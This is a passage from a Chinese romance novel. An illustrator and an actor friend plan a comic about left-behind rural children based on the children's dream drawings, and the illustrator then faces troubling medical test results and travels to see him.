曲柠看着他,“你不是没事才打。” 她很直接。 孟余沉默了一下。 风从走廊吹过去,他靠在墙上。 “我最近……没什么工作。” 他说着语气很平,像是在讲一件已经习惯的事情。 曲柠点头,“我知道。” 孟余看她,“你怎么知道?” “你朋友圈都没发,你的新闻我都会看。”她说。 孟余笑了一下,“这么明显。” 曲柠没有笑,她看着他,“你还好吗?” 孟余停了一下,“还行。” 曲柠没有继续问,她换了个话题,“你今年过年回来吗?姥姥前几天还说想你了,今年过年咱们还录吗?” 孟余愣了一下。 “什么?” “磁带。” 孟余看着她,眼神有一点变化。 “你还留着?” “每一盘。”曲柠说,她转了一下镜头。 书架的一角,一排小盒子里整整齐齐的全是磁带。 “我按年份放的。” 孟余看着,没有说话。 曲柠说:“你去年那盘,最后一段跑调了。” 孟余笑出来,“我知道。” “我当时就想你肯定没重录。” “没时间。”他说。 “还是懒。”曲柠问。 孟余想了一下,“都有。” 两个人都笑了一下,气氛似乎轻松。了一点。 曲柠又问:“今年呢?” 孟余没有马上回答,他低头看了一眼地面,才回答,“还没想好。” 曲柠点头,“那你可以录这个。” “什么?” “今天的。” 孟余抬头,曲柠看着他,“你不是说他们画梦吗。你可以把他们讲的录进去。” 她停了一下,“你每年都录你自己,今年可以换一下。” 孟余没有说话。 风从走廊吹过去,他站在那里很久没有动,然后他说:“好。” 声音很轻,但很确定。 曲柠点头,“那我等你的消息,这个选题的漫画我结束了手里这本就接上。。” 孟余笑了一下,“你哪一年没等过。” 曲柠也笑,“也是,我每一年都在等你。” 画面停了一会儿,两个人都没有急着挂,大概这种沉默本身也是一种习惯。 最后是曲柠先说,“早点睡。” “嗯。” “别想太多。” “我没想。” “你少来。”她说。 孟余笑了一下,“那先挂了。” “嗯。” 画面黑掉走廊恢复安静,孟余站在那里,没有马上回去。他低头看了一眼手机,又抬头看了一眼远处的黑夜。 他忽然觉得今天这些东西不会消失,他会把它们录下来,像过去每一年一样,但这一次不是只有他自己,而是很多人的声音。 风还在吹,他站了一会儿,然后转身回教室把还没关的灯关掉,教室重新陷入黑暗,像还没说完的梦。 28.第二十八章 曲柠把手机放在桌子上,拿起来又放下去,不自觉地把这个行为重复了许多次,她自己也没意识到已经来回做了三次这个动作。 屏幕还停在孟余刚刚发过来的那几张照片上。 一张一张孩子的画。 有飞的动物,有打怪兽的,有整张纸涂成黑色的,还有那张门外的小人。 她点开那一张又放大,看了很久。她习惯性地把手指停在屏幕边缘,好像这样能更贴近那张画一点。 “这个可以画……”她刚才已经说过这句话。 但现在,她开始怀疑这句话的重量。可以画和画得对是两件完全不同的事。曲柠把手机扣在沙发上,整个人往后一靠。 她的工作室不大灯是暖色的,墙上贴满了画稿,有些是完成的,有些是草图,还有一些是撕下来又贴回去的修改稿。 桌子上摊着数位板,笔还没收。她刚刚本来是在赶稿的,但现在她完全写不下去,脑子里全是那些孩子的画。 还有孟余那句很轻的描述,“他说他自己在外面,爸妈在里面。” 曲柠闭了一下眼,她忽然意识到一个问题,如果以这些孩子为主角,她到底要画什么?她把手机丢到沙发一侧,整个人往后靠了一下,又很快坐直,“不对。” 她小声说了一句。 房间里没有人回应,她起身走到窗边。 窗户是开着的,乌鲁木齐的风从外面直接灌进来,带着一点干燥的冷意。她下意识把手伸出去,指尖碰到风的一瞬间缩了一下。 然后又停在那里窗外是天山,不是那种模糊的远景,在视觉里是很清楚的。山脊一层一层叠过去,颜色从深到浅,最远的地方带一点白。 雪还没有完全化,阳光落在山顶上,亮得有点刺眼。曲柠眯了一下眼,她小时候就看这个看了很多年。但有时候,某个瞬间会突然觉得它很大,比自己大很多。 她把手收回来靠在窗框上,风把她的头发吹乱了一点,她没有去整理只是站在那里看着那片山。 她脑子里刚才那些问题,又慢慢浮出来。 如果画这些孩子,要怎么画?曲柠试着从刚才的习惯出发。 “乐观一点?”她自己先摇头,总是劝生活里都是挫折和苦难的人乐观,不是她的习惯,她当然希望大家都可以乐观的生活,但有的时候就是会觉得很难过。 一味的劝人乐观太假了,她见过太多那种被要求乐观的故事,像是在告诉别人你要坚强。但问题是,为什么要他们坚强?而不是替他们解决掉那些苦难?只劝人乐观的隐藏含义是不是希望别人的苦难不要沾着你的身体? 她换一个方向。 “那就写真实。”她皱了一下眉,真实是什么? 孤独?缺失?等待?那不就是你很惨。她忽然有点烦,手指在窗框上轻轻敲了一下,“也不对。”她低声说,“我不能否定这些孩子的情绪,也不能一直描写背景的悲惨。” 风还在吹,远处山的轮廓很清晰,她忽然想到一件很小的事。 小时候,自己也会站在这个窗边看天山。 然后想如果那边突然发生什么事情。 比如有怪物,比如山里其实也有一个小人国,那她要怎么办?她当时的第一反应不是害怕,而是自己可以做什么? 她会想象自己有武器有能力,甚至会想象自己跑过去,站在山那边去解决一切应该解决的问题。 风吹得很大,她站在那里,那种画面,她记得很清楚。 曲柠忽然愣住,她好像知道应该怎么写比较好了,她盯着那片山像是有什么东西被对上了。 她慢慢直起身,走回桌边,没有坐下而是站着把手机拿起来。 重新打开那几张画,她一张一张看。 飞的。 打怪的。 逃跑的。 门外的。 她突然意识到一件事这些孩子在做的事情,和她小时候一样。画出来就不算是逃避,而是在假设自己能做什么。 她把手机放下,手掌撑在桌面上身体前倾一点。 “不是乐观。”她说,“也不是悲观。”她停了一下,“是行动,对,就是行动。” 这个词出来的时候,她自己都有点确定了,她立刻坐下拿起笔,没有用数位板而是直接在纸上写。 字有点快有点,但她没有停。 【他们不是在幻想快乐】 【是在模拟能力】 她停了一下,看着这句话,然后又补: 【梦不是逃避是预演】 她写完这句手停住,盯着纸看了一会儿,然后笑了一下,“这个可以。” 她把手机拿起来,开始整理,这一次她没有再犹豫人物要不要悲伤。她换了一个方向,不去定义情绪,去定义行为。 她一边写一边在脑子里画画。那个门外的孩子,如果他一直在门外,那就是一个结局。 但如果他开始想办法进去呢?他可能会敲门,会绕路,会找别的入口。甚至会自己造一把钥匙。 曲柠停了一下,她突然有点兴奋,那种卡住很久突然松开的感觉。 她继续写: 【小人物也可以成为行动者】 【不需要成为完美的英雄,只需要开始动】 她把自己整理的内容拍下来发给孟余。 而后她把手机放在桌上,整个人往后靠在椅背上。头仰了一下,看着天花板。 风还从窗户吹着,她突然觉得整个人轻了一点。那种一直绕不开的问题,终于有了一个出口。她转头看了一眼窗外,天山还在那里,没有变,但她刚才看到的东西,已经不一样了。 她轻声说了一句:“还挺好的。”停了一下,又补了一句:“有个演员当朋友。” 她笑了一下,不是因为对方是演员。是因为有人在另一个地方,和她一起把这些碎片拼起来,她不用一个人想。 这件事本身就已经很重要了,她坐直了一点,把手机重新拿起来,打开备忘录,打了几个字: 【留守儿童主角设定】 很快曲柠打字的动作停住,她盯着这几个字看了一会,然后删掉重新写: 【孩子的世界】 她又停住,还是不对。她把手机放在腿上,整个人往沙发边滑了一点。 手肘撑着膝盖,指尖抵着额头,她很清楚故事的基调确定了,但是人物的刻画也是很重要的,一般而言人物画出来不难。 设定一个小孩,会飞会打怪会画画。这些都很容易,难的是这个人的完整人生是如何的,应该怎么活,怎么看世界? 曲柠开始在脑子里推演,如果是一个留守儿童。 他会不会乐观?会不会每天都很开心?会不会像刚才那些孩子一样,梦里飞、梦里打怪? 曲柠很快摇了摇头,这样不对。叙事太轻了。那是在替他们改写,但如果反过来呢? 如果这个孩子很压抑很孤独,每天都在等,那是不是就对了?曲柠又皱眉,只觉得这样也不对。那又太单一了。 人物设定的细节部分没有很好的推进,曲柠坐在那里,发了一会儿呆。 目光慢慢从桌子移到墙上,墙上的那些画稿。她小时候画的还有一些是后来重画的。 她忽然想起自己小时候。那个时候她也会做梦,会幻想她会想:如果突然有怪物出现,如果世界出问题。 她会成为那个解决问题的人,她会有武器,会有能力。她甚至会想象自己站在城市最高的地方。风吹过来,所有人都在看她为了世界英勇牺牲。 那种感觉很真实,曲柠忽然坐直了她看了眼手机,还没有消息回复过来,她也不着急。她闭上眼脑子里已经开始画那个孩子的样子。 不是悲伤的也不是快乐的。 孟余坐在床边的时候,手机震了一下,他刚洗完澡,头发还没完全干,宿舍的灯开着,光很白。 桌子上放着那一叠画,他还没收,手机又震了一下,然后连续震了好几下。 他拿起来曲柠发了一长串,他没有立刻滑动只是停了一下然后才点开。 一条一条看,她的思路很清晰,不像刚才聊天时那种碎片式的表达,而是整理过的,他一边看,一边下意识点头。 孟余的手指停在屏幕上没有动,过了一会儿他才继续往下看后面又是一串消息。 曲柠:【对了】 曲柠:【你要不要去冰岛】 孟余愣了一下,继续看。 曲柠:【我本来计划最近想去采风,画一个精灵主题,你可以当模特】 曲柠:【但是我觉得咱们聊的这个故事可以先画起来。】 他忍不住笑了一下,继续往下。 【但我也挺喜欢冰岛的,我在想说不定我在冰岛睡觉,梦里还能遇见蓝精灵】 他低头笑,手指在一条一条往上翻没有漏。 他习惯这样,曲柠发的消息她都不跳着看,除了看重点,他会把每一句都看完,然后开始回。 最开始想说 【你这个设定可以】停了一下后又删掉重新打。 孟余:【你这个设定很完整】 发送。 孟余:【梦是预演这句很好】 发送。 他想了一下,又补充了一点: 孟余:【可以从那个门外的孩子开始】 发送。 他继续往下回。 孟余:【冰岛太远了】 孟余:【但是你自己去,我又担心你,以后一起去吧。】 孟余:【你有喜欢的旅行地吗?】 他盯着那句蓝精灵看了一会儿继续打。 孟余:【你梦见再说】 发送,他一条一条回,每一条都回答的不快,但很认真像是在对待一个剧本。 回到最后他停住,手指停在输入框上,他想问一句,“你身体好点了吗?” 因为前几天,曲柠说过她去医院检查,说最近有点不舒服,她当时说应该没事,但是到现在检查结果也还没出来。 孟余当时也没有多问,现在他把这句话打出来。 孟余:【你最近身体好点了吗?检查结果还好吗?】 他看着这几个字很久,最后还是删掉。他把手机放在一边没有发。 房间很安静,外面风在吹,窗帘轻轻动了一下,他低头看了一眼桌上的画。那张门外的画,还在最上面,他伸手把它放到最下面,然后把整叠收起来。 手机又震了一下,曲柠回了。 曲柠:【哈哈哈哈,我肯定梦见】 曲柠:【你等着】 孟余看着笑了一下,他没有再打字,只是回了一个字。 孟余:【好】 过了一会儿,他又拿起手机,重新点开输入框,这一次他没有删。 孟余:【你最近还好吗】 发送。 他放下手机,没有再看。 另一边,曲柠坐在沙发上,手机亮了一下,她看了一眼。 孟余:【你最近还好 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她不知道自己已经站了多久,刚才还很开心的和孟余讨论剧情,转眼结果就出来,出门一进一出,连心情也跟着断崖式下跌。 曲柠的脑子里很乱,但又不像那种有很多想法的乱,而是空着的乱,像是本来有一整套逻辑的地方,被人突然抽掉了一块。 她低头看了一眼手里的检查单,又抬头看山。 “应该是误诊吧。”她这样说声音很轻,像是在说给自己,曲柠很快点了点头。 “对。” “可能只是指标不对。再查一次就好了。” 她把检查单放回桌子上,动作有点急,像是怕多看一眼就会承认什么。 她走到水池边,打开水龙头。水流很大,她把手伸进去,冷水一下子冲上来,她却没有立刻缩手。 她盯着水看了一会儿,然后突然关掉。 房间又安静下来,她靠在台边,慢慢滑坐到地上,背贴着橱柜腿蜷起来,她把脸埋进手里,没有哭出声只是呼吸变得很乱。 她脑子里突然开始闪一些画面,小时候在这个房间画画。 窗外的山,冬天结冰的窗沿,还有那些她画过又撕掉的稿子。她一直觉得自己还在往前走,一直觉得时间是够用的。 她甚至有很多还没开始的东西,那些还没画的故事,那些还没完成的设定,那些还没讲出来的人。 她忽然有点慌,那种很真实的慌,像是站在一个突然缩短的时间里。 她猛地抬头,“再查一次。” 曲柠这样对自己说着。 这一次声音比刚才大一点,像是在下决定。 她站起来去拿手机,手有点抖。 她打开购票软件,看城市。 利川、沪城、西山…… 她一个一个点开。 “多查几家医院,总会不一样。” 她一边看,一边自言自语,“肯定是有误差。” 她很快订了票没有犹豫,像是只要行动,就可以把事情往另一个方向推。 接下来的几天,她几乎一直在路上。 高铁、飞机、医院、走廊、候诊室。 白色的灯,白色的墙,重复的问题,重复的检查。 她不太记得每一个细节,只记得那些医生的表情,都很专业也很克制。 没有人直接说什么,但也没有人否认什么。她每次走出医院的时候,都会觉得自己像刚从一个密闭空间里出来。 空气一下子变得很大,但她却有点站不稳,她开始不太想回家,那个房间太安静了,太容易想东西。 她开始坐在车站发呆,坐在咖啡店里看人来人往,甚至在机场的候机厅待很久,她不想停下来,因为一停下来,脑子就会回到那个词。 她尽量不去想,但有时候还是会突然冒出来,像一个已经知道存在的东西,怎么绕都绕不开。 那天她坐在机场的椅子上,广播在报航班,人群来来去去,她盯着前面的地面看了一会儿。 忽然想起一个人。 孟余。 这个念头来得很突然,但一旦出现,就没有消失。她盯着手机看了一会儿,没有立刻打开聊天框。她在想一个很简单的问题要不要去找他。 她其实可以不说,可以等,可以继续查,可以等一个更确定的结果,但她突然不想再一个人待着了。 不是想倾诉,这种事情她甚至都不想跟父母讲起来,只是不想一个人。她拿起手机没有发消息,而是直接去订票。地点她很熟,她没有犹豫,像是早就知道自己会这么做。 ………… 车子开进山里的时候,已经是傍晚了。天色开始变暗,远处的山一层一层压下来。 路不算平,车子轻微地颠了一下,曲柠靠在车窗边,她看着外面。那些树、那些土路、那些零散的房子,一点点往后退。 她忽然觉得这里很安静,没有那么多声音。曲柠下车的时候,风正好吹过来。 她下意识缩了一下肩,然后抬头,她看见操场,看见那栋教学楼,还有站在操场边的人。 孟余。 他刚从教学楼那边走出来,手里还拿着什么东西。 他没有立刻看见她,曲柠站在那里没有动,她忽然不知道该怎么开口,也不知道自己要说什么。 她只是站在那里,看着他,然后孟余抬头,看见了她。几乎是很快,孟余就感受到了有什么不能错过的事情。